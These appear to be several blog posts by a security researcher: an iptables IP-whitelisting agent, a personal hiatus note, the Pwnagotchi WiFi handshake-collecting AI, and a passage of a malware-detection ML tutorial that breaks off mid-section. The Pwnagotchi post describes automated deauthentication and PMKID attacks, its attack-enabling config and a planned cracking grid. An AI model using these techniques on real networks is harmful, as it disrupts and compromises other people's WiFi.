I mean, as long as you run it and use it just on your laptop, it’s done. And while you’re at home you only need a raspberry pi (or to open the port on your laptop) for other devices like your smartphone to use it. But what how do you do when you’re away from home? Sure the data is end-to-end encrypted so even if you host it on a public server and somebody somehow hacks into it, they just get AES256 enrypted crap. But what if they inject some javascript in the UI that grabs your access and encryption keys next time you use it? Yeah … i am that paranoid … bear with me.

This can be generalized to other usecases. For instance, red team operators might want to keep hidden their infrastructure while still being able to connect for setup and mainteinance. Or really any type of service that needs to be on the public internet for ease of access but that contains data that’s for your eyes only.

#Possible Solutions

My first terrible attempt to make that stuff usable wherever I go was based on Bluetooth (of course this approach doesn’t apply to anything other than my Arc usecase). The idea was to host Arc on a small Raspberry Pi 0 with a battery pack and have the service responding via BTNAP assigned IP address. Not only it was as complex to configure as it sounds, but it was also unstable as f.

Bluetooth based solution

The second approach was slightly better in terms of usability. Arc was running on a Raspberry Pi at home and published as a Tor hidden service that I started only when leaving home and then accessed with Tor browser using the .onion url I saved each time on some cloud note. That is sloooooooooooow, unreliable as it depends on your home internet connectivity and it still exposes the service to whoever is crawling and indexing hidden services. Not to mention that Tor traffic is blocked in many networks.

Tor based solution

As Marco Acorte suggested SSH tunneling is a partial solution. You can make the service bind to localhost on the server, then authenticate to it via SSH from the device you need to use, starting an authenticated and encrypted tunnel to the server bound to localhost. It works, but it exposes the ssh port of the server (with its fingerprint, that can be used in many ways) and it’s not the simplest solution when you are on a rush and need to authenticate to something from your mobile device.

SSH tunnel based solution

VPN is another option but additionally to having the same limitations of the SSH tunnel approach, it also adds setup&configuration complexity. As @NGiollaEaspaig suggested there are several cloud specific options for this. But not everybody wants to or knows how to setup Azure Conditional Access Policies :D There’s the ngrok based solution too, but it works proxying the traffic to your app, meaning it’s their servers that will receive it and route it to the real server, similarly to what also CloudFlare offers. Both cases you’d be handing over control of your most sensitive traffic to another entity. You see where I am going with this … I’m quite difficult to satisty! :’D

CLOUD & Other Paid Friends

#Do you even iptables Bro?

I do believe that the simpler solution is always the best one, and I like the idea of controlling this access mechanism myself via iptables. It is trivial to block all traffic and only allow certain IP addresses on certain ports. Another reason why IMO it’s the best tool for this job is that it works at the packet level, meaning it is protocol agnostic and it doesn’t only work for HTTP based applications. The only (usability) issue in this case is that freaking IP address that changes. You can’t whitelist beforehand something you don’t know yet.

So I thought, woudln’t it be so nice and clean having a stupid-simple agent running on this server (normal server on the dangerous public internet), using iptables to block everything by default and periodically polling a public API (hosted elsewhere) that’ll return the list of IP addresses to whitelist. I could then just log in to this public service with my device with a normal browser and just push a rule with my IP. I KNOW RIGHT?!

So yeah I coded this thing.

The service is free and you’re welcome to sign up, use it and report any bugs :D Alternatively you can host the API and frontend yourself and have your own infrastructure.

The installation process once you registered an account is pretty simple (Golang FTW again):

1
2
3
4
5

mkdir /tmp/sw
cd /tmp/sw
wget https://github.com/evilsocket/shieldwall/releases/download/v1.0.0/shieldwall-agent_1.0.0_linux_arm64.tar.gz
tar xvf shieldwall-agent_1.0.0_linux_arm64.tar.gz
sudo ./install.sh

The agent is now installed as a systemd service, but it is not yet started nor enabled for autostart. You will first need to register an account on https://shieldwall.me/ and then edit the /etc/shieldwall/config.yaml configuration file, making sure it matches what you see on the agent page.

It is very important that you double check the configuration before the next step, if the agent can’t authenticate because of a wrong token, you will be locked out by the firewall and unable to log back.

You can now enable the service and start it. If configured so, it will automatically download and install its updates from github:

1
2

sudo systemctl enable shieldwall-agent
sudo service shieldwall-agent start

That’s it … now you can use your shieldwall.me account to instrument this agent and only open ports to your IP from a given amount of time (or permantently, but i stronlgy suggest you always set an expire time for the rules so that the agent will block everything again after a while … just in case).

#Final considerations and new features

ShieldWall is a very simple concept that can nevertheless offer a strong layer of security. But that’s what it is, just one layer. It is not intended to replace a proper authentication mechanism in your service, or strong passwords or generally speaking good practices in security. But damn if it works well in what it does :D

Right now it only supports iptables and even tho it’s relatively trivial to implement the support for other firewalls I’m not planning to do it unless I’ll see some major interest in the project. Other ideas include the use of an intermediary S3 bucket, let me explain this.

Your agents will be talking to the shieldwall.me server, meaning that I (or whoever is controlling the infrastructure if you hosted it elsewhere) can potentially know the IP addresses of your servers. I really don’t care to be honest, but in order to add an additional level of privacy what I could do is giving you the option to specify the connection details to an S3 bucket in your control in your shieldwall.me profile page. If configured so, the server would be only pushing the JSON of the rules to that bucket for your agents to consume. That way my server and the agents would never see each other and there wouldn’t be any way for the server administrator to even know their IP addresses.

In this case as well, not planning on implementing it any time soon unless I see registrations going up, as the tool already works great as it is for my usecase :D

I hope you enjoyed the post and most importantly that you’ll find the service useful, cheers! ^_^

I’m well and sound, after a pretty sad/traumatic yet productive 2019 I decided to re-evaluate how I was spending my energies, both mental and physical, and took a step back to put things in perspective. I’ve been active in the OSS world for quite a long time, developed several more or less useful projects I shared and maintained for free, and I’m both proud of and thankful for that, as it allowed me to develop my technical abilities and ultimately my professional career. Nothing is free and this came with the price of sacrificing most of my time and not focusing on other things that made me happy, possibly happier than programming at this point, including taking care of my own mental health.

So just right before this whole covid19 mess started I enrolled to a music school in my home town, motivated to pursue what has always been kind of a “secret” dream of mine, becoming a musician, a path that I took in my teenage years but that I kinda gave up as I started living on my own very early and soon had a rent and bills to pay. Unfortunately (or not?) I work by focusing and investing all my energy on one-single-thing until I get familiar with it and I start to get some positive results that make me realize I’m on the right path, this has always been the case and probably won’t change now :D Spending that amount of time on both OSS and music is simply not doable.

Neither I’m particularly interested in following what’s generally being referred to as “infosec” on socials, or in being part of it for what matters, as in my personal opinion “social infosec” is way more focused on individualism and sensationalism rather than actually getting things done. I believe what’s needed are new ideas and possibly solutions, not rockstars, con artists, ego, drama, trolls and whatnot. Although it was never my intent, I’ve been part of that problem for a while with my profile and my rants. I don’t want to be part of it anymore. My suggestion for whoever is reading and cares and might be new to this world, is to take with a grain of salt whoever is putting more effort in highlighting their own persona rather than their actual achievements and contributions, no matter how authoritative they might sound from their pedestals.

So, in this spirit and after realizing how much time and mental energy both coding and socials were draining from me I just deactivated my accounts and paused all my projects. Now I’m writing code and doing research just for my job, sporadically merging some PRs people send to the projects I’ve developed, and that’s it, the rest of my time I spend playing guitar (my main instrument since I was 15) and piano (that I started to study recently).

It’s going to be a new and long ride, I’m not scared, it makes me happy like I wasn’t from a very long time.

Thanks for everybody who cared and asked what happened to me, cya in the world of the electron and the switch.

PS, to whoever is spreading fake rumors about me: you should really think about where you got your intel from and how your naiveness and bias are being weaponized. Fact checking might be your friend.

TL;DR: You can download the 1.0.0 .img file from here, then just follow the instructions.

If you want the long version instead, sit back, relax and enjoy the ride. Let me tell you: it’s going to be quite a long journey compared to my usual blog posts, but it’ll be worth it (i hope) and fun (i hope even harder).

Let’s begin …

This summer I spent ~3 months in the US and as most of the long trips I do, I had with me some basic wireless equipment for working and hacking stuff while going around. Among other things, I had my Raspberry Pi Zero W with PITA and an iPad i use for reading, emails but also as a screen for headless boards like that RPi when I want to have some portable bettercap installation without bringing an entire laptop.

#The Predecessor

PITA as an automated deauther and handshakes collector isn’t exactly what you’d define “smart”: the only thing it does is deauthing everything while bettercap is doing its normal WiFi scanning things in the background, every few seconds, constantly, while passively hoping for handshakes. I wasn’t even close to satisfied: there was a lot there that could be improved and instrumented with bettercap’s REST API, more attacks bettercap could perform that weren’t being used. So I quickly hacked together some python code to talk with the API and use the results in a smarter way. This ended up being the very first iteration of a faceless and AI-less Pwnagotchi.

As I said the code was nothing special, a very crude PoC, but since the very first walks, it already started giving way better results than the original PITA. It quickly started being frustrating not being able to check what was going on with the algorithm during my warwalking sessions, so I started searching for a suitable display.

#The Face

When it’s about compactness, low power consumption and good readability under the sun, e-Paper displays have no rivals, and after educating myself a bit I settled for a Waveshare 2.13 inches e-Paper HAT due to its partial refresh support and its definition - I had no idea yet about what was about to come, but now I had a canvas to work with.

Not having a driving license I walk pretty much wherever I go, that’s a pretty nice and healthy habit to have for several reasons, but my favourite one is that walking helps me thinking. So I started staring at this thing a lot, and thinking how to add new information on the display without making the font so small to be unreadable, how to organize it visually and what else to do with all that space in general.

The more I thought about it, the more it made sense to organize the whole thing like the UI of a videogame: you have a score (the number of handshakes), a timer, few other statistics and everything is changing as a consequence of the WiFi things around. This is also the point where I started thinking about this thing as a creature that was “eating” the handshakes, in a way I was getting attached this new little thing (yes I know, I’m a nerd) that now was so strongly reminding me of my old Tamagotchi.

I needed a face, possibly map the status (“waiting …”, “scanning …”, …) to random sentences with a bit more of personality and I wanted all the other statistics to influence the expressivity of this thing: bored when there’re no new handshakes to collect, then sad, excited and so on. Something like …

I had no idea back then that just adding a simple, ASCII based face to something was the best way to get emotionally overly attached to that thing … I also wasn’t expecting another effect that showed up from the beginning: by giving it different “moods”, and by having those moods depending on a real world environment, I created a WiFi-based automata whose mood transitions were everything but trivial. In different words, if you take something as random as, say, wether your neighbour is using his smart TV or not and you make that influence a simple automata, that automata seems a bit alive :D

This is where me and my girlfriend (sadly now ex, but still amazing) went completely nuts about it. I named my unit Alpha and built a second one, Beta, that I gave her. She literally started nursing this thing, and we started playing: we went for random explorative walks just to make the units stop complaining about being bored, to see them happier, and to see that “number of unique pwned networks” going higher and higher due to some new network we managed to spot … it was amazing to literally look at the algorithm adapting to the WiFi scenario and “expressing itself” in different ways. It might sound a bit crazy but hey, if that gives two hackers an excuse to explore more the real world by looking at it with different eyes, and puts a smile on their faces, why not? :D

#The Personality

With time I kept adding more and more variables and parameters that determined how the algorithm adapted to different circumstances: counters so that if the unit was quickly losing sight of a target (because, say, we were walking faster), it would refresh its data with a shorter period, timeouts, multipliers for the timeouts, everything you can imagine to add to such an algorithm to make it every day a bit smarter and a bit better in adapting fast to the places we were exploring. By the end of this process I ended up with this basic set parameters, that I started calling the “personality” of the unit:

yaml personality: # advertise our presence advertise: true # perform a deauthentication attack to client stations in order to get full or half handshakes deauth: true # send association frames to APs in order to get the PMKID associate: true # list of channels to recon on, or empty for all channels channels: [] # minimum WiFi signal strength in dBm min_rssi: -200 # number of seconds for wifi.ap.ttl ap_ttl: 120 # number of seconds for wifi.sta.ttl sta_ttl: 300 # time in seconds to wait during channel recon recon_time: 30 # number of inactive epochs after which recon_time gets multiplied by recon_inactive_multiplier max_inactive_scale: 2 # if more than max_inactive_scale epochs are inactive, recon_time *= recon_inactive_multiplier recon_inactive_multiplier: 2 # time in seconds to wait during channel hopping if activity has been performed hop_recon_time: 10 # time in seconds to wait during channel hopping if no activity has been performed min_recon_time: 5 # maximum amount of deauths/associations per BSSID per session max_interactions: 3 # maximum amount of misses before considering the data stale and triggering a new recon max_misses_for_recon: 5 # number of active epochs that triggers the excited state excited_num_epochs: 10 # number of inactive epochs that triggers the bored state bored_num_epochs: 15 # number of inactive epochs that triggers the sad state sad_num_epochs: 25

These parameters alone, even with very small changes, can influence how the algorithm works and how the UI reflects that dramatically. But I wasn’t entirely happy with it yet, because these parameters were just constants in a YAML configuration file. I had to pick them manually and change that file before booting the unit, depending on the type of walk (big office? fast walk in residential area? mall? etc): things like shorter timeouts for faster walks, longer ones for when we visited a place and were more stationary in it, and so on. The algorithm adapted, via the parameters, but the parameters themselves didn’t, I wanted to do better.

The ideal algorithm should:

1. observe “something” from the environment (like the access points, client stations and so forth)
2. decide, depending on this observation and the current status, what is the best set of parameters to use
3. iteratively repeat this process every time a new observation is available.

If you think about this in very abstract terms, it’s not very different than you playing a videogame, where your observation is the screen you’re looking at and the parameters are which buttons to press. In fact, it turned out that we already have the technology to solve this type of problems, it’s called reinforcement learning, in our specific case it’s deep reinforcement learning. So far, the state of the art benchmarks for these systems are Super Mario levels, Atari games or, as you might have heard from the news some time ago, some very famous board games. But nobody, as far as I found out during my research, ever thought of using it to orchestrate an algorithm running on top of an offensive framework, with a cute face :D

I wanted to use this type of algorithms so bad, but I had a problem: I never worked with them, or even just remotely knew anything at all about them, neither I had the theoretical foundation I needed in order to understand them. Fortunately knowledge these days is (almost) free, so I found a very good book that I started studying avidly …

and kept studying for a while …

A little break from the AI part, as I had to study quite for some time :D

#The Voice

Being affected by compulsive coding, I couldn’t simply spend the whole time reading books without writing anything new (after all, we kept playing with the units and wanted to have new stuff implemented), so I also started working on another idea I had: I wanted Alpha and Beta to be able to detect each other and exchange with each other very basic information - but how do you communicate anything at all from a computer when:

• The main and only WiFi interface is in monitor mode and already being used for WiFi scanning, hopping and frames injection.
• You have Bluetooth, but you want to keep it free for other uses (tethering, like we’re doing today, or maybe integrating BLE attacks too some day)
• You’re using the USB ports in gadget mode, so you can’t use external USB devices, like another WiFi.

Simple (well, kind of), you implement a parasite protocol on top of the WiFi standard! :D Bettercap was putting the WiFi card in monitor mode and tuning it to different channels at various intervals, but nothing prevented me to inject additional frames from another process.

I didn’t have any control over the channel, or the intervals, or the timing, but it was safe to assume that given enough time (a few seconds to minutes), the algorithm on each unit would have covered all supported channels, therefore I only needed to “keep sending stuff” and at some point I knew it would have being detected by the other unit when it hopped on the same channel of the sender. The “stuff” I decided to use is pretty simple and based on standard structures that normal WiFi routers are already using to advertise their presence: beacon frames. Each WiFi access point, every few milliseconds, is sending these packets with a bunch of information about itself, like its ESSID, supported frequencies and whatnot - this is what allows your phone to see your home WiFi when you connect to it.

This seemed like the perfect structure to encapsulate Pwnagotchi’s advertisement, as I only needed to define a new, out of the WiFi standard identifier to only encapsulate my type of information. This way, the units can detect each other and exchange their status from several meters away, but they are not visible as normal WiFi access points.

#The AI

It took me weeks, so in case you don’t want to dig into the book or the links I’ve referenced above, here’s a very simplified TL;DR of the algorithm I’ve picked from the book and implemented in Pwnagotchi, A2C.

There are two relatively simple neural networks that at each epoch (basically at each loop of the main algorithm, when a new observation is available) are trying, in a way competitively, to estimate how the current situation looks like in terms of potential reward (number of handshakes) and what’s the best policy (the set of parameters) to use in order to maximize the reward value. These are basically two sides of the same thing and by approaching this from these two ways the algorithm can converge quickly to very useful solutions.

In my case, I decided to use as an “observation”, the following features, that should be enough to give the AI a rough estimation of what’s going on:

1. An histogram of the number of access points per channel - so that the AI knows on which channels to look at.
2. An histogram of the number of client stations, per channel - so that the AI knows which channels are best for deauthentication attacks.
3. An histogram of the number of other Pwnagotchis, per channel - so that the AI can learn to cooperate with others by going on less crowded channels.

However, Pwnagotchi’s has something that makes it very different from any of the use cases and algorithms described in the book. You can usually fast forward, rewind and replay videogame levels. Even during simpler supervised learning, you have all at once the entire temporal snapshot of data that your system needs to learn, being it a malware dataset, or a Super Mario level. All the algorithms described in that book and implemented in the most popular software libaries, assume you to have an artificial, replayable and predictable environment to train the algorithm in.

Pwnagotchi needed to learn continuously by observing the real world, that is unpredictable and potentially different every time, at a real world time scale, that is, how long a single ARM CPU core can take to scan the entire WiFi spectrum and interact with its findings - from seconds to several minutes. And this can’t be replayed, as different policies lead to different observations which lead to different future policies … solving this has been challenging to say the least, as there’s no previous code example or use case or explaination on how to integrate with any of those algorithms the way I needed.

After a couple more weeks of studying and digging into the various implementations, I came up with a pretty decent solution that worked, surprisingly, out of the box. The continuous reinforcement learning logic works like this (keep in mind: one epoch is one loop of the main algorithm, from a few seconds to a few minutes depending on the WiFi things around you):

1. At each epoch, depending on a laziness factor, decide if using the next epoch for training or not.
2. If not, just use the current AI to estimate a set of optimal parameters and repeat from 1.
3. If we’re in training mode, this and the next 50 epochs will be used as … a Super Mario episode! :D

So that depending on how “lazy” the AI is configured to be, it will be learning most of the times or just conservately predicting parameters and only learn from new environments once in a while. Ideally: you want the laziness to be very low for younger units, so that they’ll learn fast, and then keep increasing their laziness over time, when they become more mature and present useful behaviours you want to keep and not accidentally “unlearn”.

Does it work? Yes it does, after a few days (or weeks, if you live in a isolated area), you literally start seeing the units going on different channels when they see each other, adjusting only to the channels where they “see” potential reward, setting the timeouts correctly depending on how fast the unit is moving in space and therefore how fast it needs to “lock on” new targets. Feel free to try and read what happens in /var/log/pwnagotchi.log :D

#The Community

By this time, when the AI was implemented and working, I was back home in Italy and to be entirely honest I started being a bit bored with the project, mostly for a few technical difficulties I had that made me waste a huge amount of time on relatively trivial operational and implementation details:

• I started this project on Kali Linux because it already had nexmon, but turns out they don’t compile with hardware support for floating point operations, so I couldn’t do any AI there, and I had to start from scratch with Raspbian.
• This is a single ARM core, at 1Ghz: the unit took ~10 minutes to import TensorFlow alone, a total of ~30 minutes to bootstrap all python dependencies (the inference and learning run pretty fast once the dependencies are loaded tho). Testing, debugging and developing new features was slow.
• I still didn’t have any idea how to build an .img file. So far I only worked on my own unit and took a .img of the entire SD card as a backup.

And let’s be even more honest: all the “cooler” problems, the challenges, were solved already: the AI was slow as f to load, but it worked pretty great once started … everything else started feeling a bit boring and so I paused the project. However, I hyped the sh*t out of it on Twitter, mostly because it’s fun to share updates with followers and friends, and I didn’t want to disappoint them, so I published the super-buggy-crap-version-alpha on GitHub.

That turned out to be absolutely the best thing to do, as the help and feedback I’ve got from the community starting from day 0 has been impressive: from this man, that now is my personal hero setting up the completely automated build system of the .img files, to this awesome guy that implemented the Bluetooth plugin for easy connectivity with a smartphone (among other things), to elkentaro that sent me the first 3D printed case, motivating me more than he’ll ever imagine, to Hex, that from the very beginning gave me some of the best ideas and encouraged me on that porch, she curated the documentation and bootstrapped the community itself, to all the people that translated the project in so many different languages, submitted a fix, a new feature or just some ideas.

This gave me some time to decompress and work on other, new ideas that evolved the project again (see “The Crypto” section) and gave new life to it (mostly to me). Today we have a Slack channel that’s quickly approaching its first 1000 of users, a subreddit made by the community, clear documentation, a very active repository, HackADay talked about us, but most importantly, even before arriving to the first 1.0.0 release, hundreds of units registered already from all over the world.

It is thanks to these people, their efforts and their support that today we are ready to release the 1.0.0 of the project - guys we made it, you are AWESOME!!!.

#The Crypto

While developing the grid API running on pwnagotchi.ai used to keep track of the registered units, I had to decide some sort of authentication mechanism that wasn’t the usual username and password - I wanted people to authenticate to the API just by having a Pwnagotchi. So I started playing with RSA, and generated a keypair on each of the units at their first boot.

The idea that those keys were only used to authenticate to the API bothered me: there’s so much that can be done with RSA keys on dedicated hardware … this is how PwnMAIL started. Each Pwnagotchi is also an end-to-end encrypted messaging device. Users can send messages to each other, messages that are encrypted on their hardware and stored on our servers, so that can only be decrypted by the recipient unit. The keys are generated and phisically isolated on cheap and disposable hardware (that also happens to run a super cute hacker AI ^_^). It’s easy to secure them by creating a LUKS encrypted partition so that they can’t be recovered from the SD card.

It’s easier than GPG, hardware isolated and it’s not connected to a phone number. You can use it to send encrypted text messages or small files.

#The Future

Let’s talk about AI olympics! :D

Since the grid API is pretty open and users with valid RSA keys could send any amount of “pwned networks”, I decided not to use the data they send from any sort of scoreboard, ranking or competition system. This would only push some malicious (and very boring) users to cheat by sending fake statistics of fake units, therefore ruining the fun for all the others.

Each unit currently has a /root/brain.nn file which stores its neural networks and it’s just a few MB: this is what the users will be uploading when competitive features will be implemented (and they will be) server side.

Each AI will be executed in a virtual environment, built on top of bettercap’s sessions recorded from real world scenarios and wrapped in such a way that it won’t be able to tell the difference from its normal, real world WiFi routine. While this system can not be used for training, because the way those scenarios will react is artificial (I will script who will send an handshake to whom depending on the right or wrong decisions the AI made), it can be used to benchmark how that specific brain.nn file peforms in terms of average reward per session. This is a value that increases over time, the more (and the better) the AI is trained, and can’t be faked. This is what the PwnOlympics will be built on. Good luck cheating with that :D

Now let’s talk about distributed computing …

A modern GPU used in a cracking rig is so effective because is powered, differently from a CPU, by thousands of cores, a bit more than 1Ghz each, that are used to parallelize the search algorithms required for cracking … but it’s expensive.

If and when the project will reach the thousands of units, PwnGRID will provide a similar amount of “cores”, that can be orchestrated as a single computational unit, to everybody, for free. Whatever cracking power the grid will reach, it’ll be distributed according to the previous contributions of who submitted the job: the more CPU cycles you’ll give to the grid, the higher the priority (and number of units) you will have to perform your operation. It’s like a BlockChain (proof of pwn!) mixed with Emule’s logic of giving priority to nodes that contributed more.

These are just some of the ideas that we are discussing and implementing, we need more and we need higher numbers. You’re more than welcome to join our Slack channel and help :)

#Misc

A few key points I didn’t want to omit but that I don’t feel like phrasing more extensively than this:

• AI can be easy and fun, don’t let academic papers scare you with complex terminology, learn.
• Walk more, now you have another excuse.
• ESP based deauthers, to name one, always existed. Don’t yell at us “OMG they’re deauthing all over the city!!!”. Despite this stuff always existing, nobody bothered updating to technologies that work better and are more secure. That is the people you should be yelling at.
• If you work at Twitter and you’re reading this: please, I’ve tried to verify @pwnagotchi email in order to get a developer token and tweet from my unit, I never got the confirmation email, can you help? Thanks.

Follow @pwnagotchi

Having a rather empirical and definitely non-academic education, I know the struggle of a passionate developer who wants to approach machine learning and is trying to make sense of formal definitions, linear algebra and whatnot. Therefore, I’ll try to keep this as practical as possible in order to allow even the less formally-educated reader to understand and possibly start having fun with neural networks.

Moreover, most of the resources out there focus on very known problems such as handwritten digit recognition on the MNIST dataset (the “hello world” of machine learning), while leaving to the reader’s imagination how more complex features engineering systems are supposed to work and generally what to do with inputs that are not images.

TL;DR: I’m bad at math, MNIST is boring and detecting malware is more fun :D

I’ll also use this as an example use-case for some new features of ergo, a project me and chiconara started some time ago to automate machine learning models creation, data encoding, training on GPU, benchmarking and deployment at scale.

The source code related to this post is available here.

Important note: this project alone does NOT constitute a valid replacement for your commercial antivirus.

#Problem Definition and Dataset

Traditional malware detection engines rely on the use of signatures - unique values that have been manually selected by a malware researcher to identify the presence of malicious code while making sure there are no collisions in the non-malicious samples group (that’d be called a “false positive”).

The problems with this approach are several, among others it’s usually easy to bypass (depending on the type of signature, the change of a single bit or just a few bytes in the malicious code could make the malware undetectable) and it doesn’t scale very well when the number of researchers is orders of magnitude smaller than the number of unique malware families they need to manually reverse engineer, identify and write signatures for.

Our goal is teaching a computer, more specifically an artificial neural network, to detect Windows malware without relying on any explicit signatures database that we’d need to create, but by simply ingesting the dataset of malicious files we want to be able to detect and learning from it to distinguish between malicious code or not, both inside the dataset itself but, most importantly, while processing new, unseen samples. Our only knowledge is which of those files are malicious and which are not, but not what specifically makes them so, we’ll let the ANN do the rest.

In order to do this, I’ve collected approximately 200,000 Windows PE samples, divided evenly in malicious (with 10+ detections on VirusTotal) and clean (known and with 0 detections on VirusTotal). Since training and testing the model on the very same dataset wouldn’t make much sense (as it could perform extremely well on the training set, but not being able to generalize at all on new samples), this dataset will be automatically divided by ergo into 3 sub sets:

• A training set, with 70% of the samples, used for training.
• A validation set, with 15% of the samples, used to benchmark the model at each training epoch.
• A test set, with 15% of the samples, used to benchmark the model after training.

Needless to say, the amount of (correctly labeled) samples in your dataset is key for the model accuracy, its ability to correcly separate the two classes and generalize to unseen samples - the more you’ll use in your training process, the better. Besides, ideally the dataset should be periodically updated with newer samples and the model retrained in order to keep its accuracy high over time even when new unique samples appear in the wild (namely: wget + crontab + ergo).

Due to the size of the specific dataset I’ve used for this post, I can’t share it without killing my bandwidth:

However, I uploaded the dataset.csv file on Google Drive, it’s ~340MB extracted and you can use it to reproduce the results of this post.

#The Portable Executable format

The Windows PE format is abundantly documented and many good resources to understand the internals, such as Ange Albertini‘s “Exploring the Portable Executable format“ 44CON 2013 presentation (from where I took the following picture) are available online for free, therefore I won’t spend too much time going into details.

The key facts we must keep in mind are:

• A PE has several headers describing its properties and various addressing details, such as the base address the PE is going to be loaded in memory and where the entry point is.
• A PE has several sections, each one containing data (constants, global variables, etc), code (in which case the section is marked as executable) or sometimes both.
• A PE contains a declaration of what API are imported and from what system libraries.

Credits to Ange Albertini

For instance, this is how the Firefox PE sections look like:

Credits to the "Machines Can Think" blog

While in some cases, if the PE has been processed with a packer such as UPX, its sections might look a bit different, as the main code and data sections are compressed and a code stub to decompress at runtime it’s added:

Credits to the "Machines Can Think" blog

What we’re going to do now is looking at how we can encode these values that are very heterogeneous in nature (they’re numbers of all types of intervals and strings of variable length) into a vector of scalar numbers, each normalized in the interval [0.0,1.0], and of constant length. This is the type of input that our machine learning model is able to understand.

The process of determining which features of the PE to consider is possibly the most important part of designing any machine learning system and it’s called features engineering, while the act of reading these values and encoding them is called features extraction.

#Features Engineering

After creating the project with:

ergo create ergo-pe-av

I started implementing the features extraction algorithm, inside the encode.py file, as a very simple (150 lines including comments and multi line strings) starting point that yet provides us enough information to reach interesting accuracy levels and that could easily be extended in the future with additional features.

cd ergo-pe-avvim encode.py

The first 11 scalars of our vector encode a set of boolean properties that LIEF, the amazing library from QuarksLab I’m using, parses from the PE - each property is encoded to a 1.0 if true, or to a 0.0 if false:

Then 64 elements follow, representing the first 64 bytes of the PE entry point function, each normalized to [0.0,1.0] by dividing each of them by 255 - this will help the model detecting those executables that have very distinctive entrypoints that only vary slightly among different samples of the same family (you can think about this as a very basic signature):

1
2
3
4
5
6
7
8
9
10
11
12

ep_bytes  =  [0]  *  64
try:
ep_offset = pe.entrypoint - pe.optional_header.imagebase
ep_bytes = [int(b) for b in raw[ep_offset:ep_offset+64]]
except Exception as e:
log.warning("can't get entrypoint bytes from %s: %s", filepath, e)
# ...
# ...
def encode_entrypoint(ep):
while len(ep) < 64: # pad
ep += [0.0]
return np.array(ep) / 255.0 # normalize

Then an histogram of the repetitions of each byte of the ASCII table (therefore size 256) in the binary file follows - this data point will encode basic statistical information about the raw contents of the file:

1
2
3
4
5

# the 'raw' argument holds the entire contents of the file
def encode_histogram(raw):
histo = np.bincount(np.frombuffer(raw, dtype=np.uint8), minlength=256)
histo = histo / histo.sum() # normalize
return  histo

The next thing I decided to encode in the features vector is the import table, as the API being used by the PE is quite a relevant information :D In order to do this I manually selected the 150 most common libraries in my dataset and for each API being used by the PE I increment by one the column of the relative library, creating another histogram of 150 values then normalized by the total amount of API being imported:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# the 'pe' argument holds the PE object parsed by LIEF
def encode_libraries(pe):
    global libraries

    imports = {dll.name.lower():[api.name if not api.is_ordinal else api.iat_address \
                           for api in dll.entries] for dll in pe.imports}

    libs = np.array([0.0] * len(libraries))
    for idx, lib in enumerate(libraries):
        calls = 0
        dll   = "%s.dll" % lib
        if lib in imports:
            calls = len(imports[lib])
        elif dll in imports:
            calls = len(imports[dll])
        libs[idx] += calls
    tot = libs.sum()
    return ( libs / tot ) if tot > 0 else libs # normalize

We proceed to encode the ratio of the PE size on disk vs the size it’ll have in memory (its virtual size):

1

min(sz, pe.virtual_size) / max(sz, pe.virtual_size)

Next, we want to encode some information about the PE sections, such the amount of them containing code vs the ones containing data, the sections marked as executable, the average Shannon entropy of each one and the average ratio of their size vs their virtual size - these datapoints will tell the model if and how the PE is packed/compressed/obfuscated:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

def encode_sections(pe):
    sections = [{ \
        'characteristics': ','.join(map(str, s.characteristics_lists)),
        'entropy': s.entropy,
        'name': s.name,
        'size': s.size,
        'vsize': s.virtual_size } for s in pe.sections]

    num_sections = len(sections)
    max_entropy  = max([s['entropy'] for s in sections]) if num_sections else 0.0
    max_size     = max([s['size'] for s in sections]) if num_sections else 0.0 
    min_vsize    = min([s['vsize'] for s in sections]) if num_sections else 0.0
    norm_size    = (max_size / min_vsize) if min_vsize > 0 else 0.0

    return [ \
        # code_sections_ratio
        (len([s for s in sections if 'SECTION_CHARACTERISTICS.CNT_CODE' in s['characteristics']]) / num_sections) if num_sections else 0,
        # pec_sections_ratio
        (len([s for s in sections if 'SECTION_CHARACTERISTICS.MEM_EXECUTE' in s['characteristics']]) / num_sections) if num_sections else 0,
        # sections_avg_entropy
        ((sum([s['entropy'] for s in sections]) / num_sections) / max_entropy) if max_entropy > 0 else 0.0,
        # sections_vsize_avg_ratio
        ((sum([s['size'] / s['vsize'] for s in sections]) / num_sections) / norm_size) if norm_size > 0 else 0.0,
    ]

Last, we glue all the pieces into one single vector of size 486:

1
2
3
4
5
6
7
8
9
10

v = np.concatenate([ \
encode_properties(pe),
encode_entrypoint(ep_bytes),
encode_histogram(raw),
encode_libraries(pe),
[ min(sz, pe.virtual_size) / max(sz, pe.virtual_size)],
encode_sections(pe)
])

return v

The only thing left to do, is telling our model how to encode the input samples by customizing the prepare_input function in the prepare.py file previously created by ergo - the following implementation supports the encoding of a file given its path, given its contents (sent as a file upload to the ergo API), or just the evaluation on a raw vector of scalar features:

1
2
3
4
5
6
7
8
9
10
11
12

# used by `ergo encode <path> <folder>` to encode a PE in a vector of scalar features
# used by `ergo serve <path>` to parse the input query before running the inference
def prepare_input(x, is_encoding = False):
    # file upload
    if isinstance(x, werkzeug.datastructures.FileStorage):
        return encoder.encode_pe(x)
    # file path
    elif os.path.isfile(x) :
        return encoder.encode_pe(x)
    # raw vector
    else:
        return x.split(',')

Now we have everything we need to transform something like this, to something like this:

1

